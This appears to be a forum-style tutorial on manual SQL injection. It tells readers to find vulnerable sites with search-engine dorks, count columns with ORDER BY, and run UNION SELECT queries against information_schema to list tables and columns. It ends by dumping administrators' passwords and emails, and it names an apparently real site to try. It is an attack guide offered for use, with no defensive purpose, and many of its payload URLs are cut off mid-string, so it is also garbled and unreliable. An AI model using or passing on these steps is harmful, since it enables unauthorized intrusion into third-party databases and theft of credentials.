1st Download This File
http://rapidshare.com/files/31718767
Now Open The text File You Will See Plenty Of Codes
Now Open Google And Copy Paste Any 1 Line From The Above File
When Google Opens The Result You Would See Many Sites And Those Will Be Open To Attack
So now we will take an example of a website which we assume is legit vulnerable
http://www.example.pl/news.php
If it gets error then its vulnerable so i remove the ' and do
http://www.example.pl/news.php?id=17 order by 1--
http://www.example.pl/news.php?id=17 order by 2--
http://www.example.pl/news.php?id=17 order by 3--
If we dont get error so we will continue
When we finally get an error when we do like below
http://www.example.pl/news.php?id=1
so this tells us 13 columns dont exist, so there must be 12 columns in the database
Note:- columns will be different for each site. they could be even more then 100 or less then 10 so u have to continue checking columns until u find the last one
http://www.example.pl/news.php?id=-
Hit enter
Lets assume numbers 4 and 5 appear,this means data can be extracted from numbers for and five ( You may see any numbers on different sites )
Replace 4 in the url with @@version so it now looks like
http://www.example.pl/news.php?id=-1
Hit enter
and lets assume we get this SQL
5.0.32-Debian_7etch8-log
^this will be the mysql version running,So its running version 5 that helps alot,(versions 4 and below we have the guess the table name's)
remember mysql will be different in most of the sites
Where we put @@version (4th spot)
Replace it with
group_concat(table_name)
^^^
This gets table name
like
http://www.example.pl/news.php?i
And at the end of union select string remove the -- after the 12 and add
+from+information_schema.tables+where
So it now will look like
http://www.example.pl/news.php?id=-1
x_admins,x_articles,x_ban,x_banners,
Now replace group_Concat(table_name) with group_concat(column_name) and everything after union select 5,6,7,8,9,10,11,12 with
+from+information_schema.columns+whe
so it goes from
http://www.example.pl/news.php?id=-1
TO
http://www.exam
we see id,nick,pass,name,added,access,mail,stat
group_concat(id,0x3a,pass,0x3a,mail) to where the group_concat(column_name) is and add +from+x_admins-- after 10,11,12
So the string becomes
http://www.example.pl/news.php?id
At this point we obtain the admins password.
And its done
See you will not be able to do the steps successfully all the time becoz site script and sql differ from each other but the basic remains as i posted
Here is some table name list for you.
http://rapidshare.com/files/31721486
So i will pick one for an example for you.
Iwill choose tblclients. you will add this at the end before this "--".
it will goes like this..
article_viewer.php?id=-5%20UNION%2
U can try on sites like http://www.yaseenintloep.com.pk/formal.p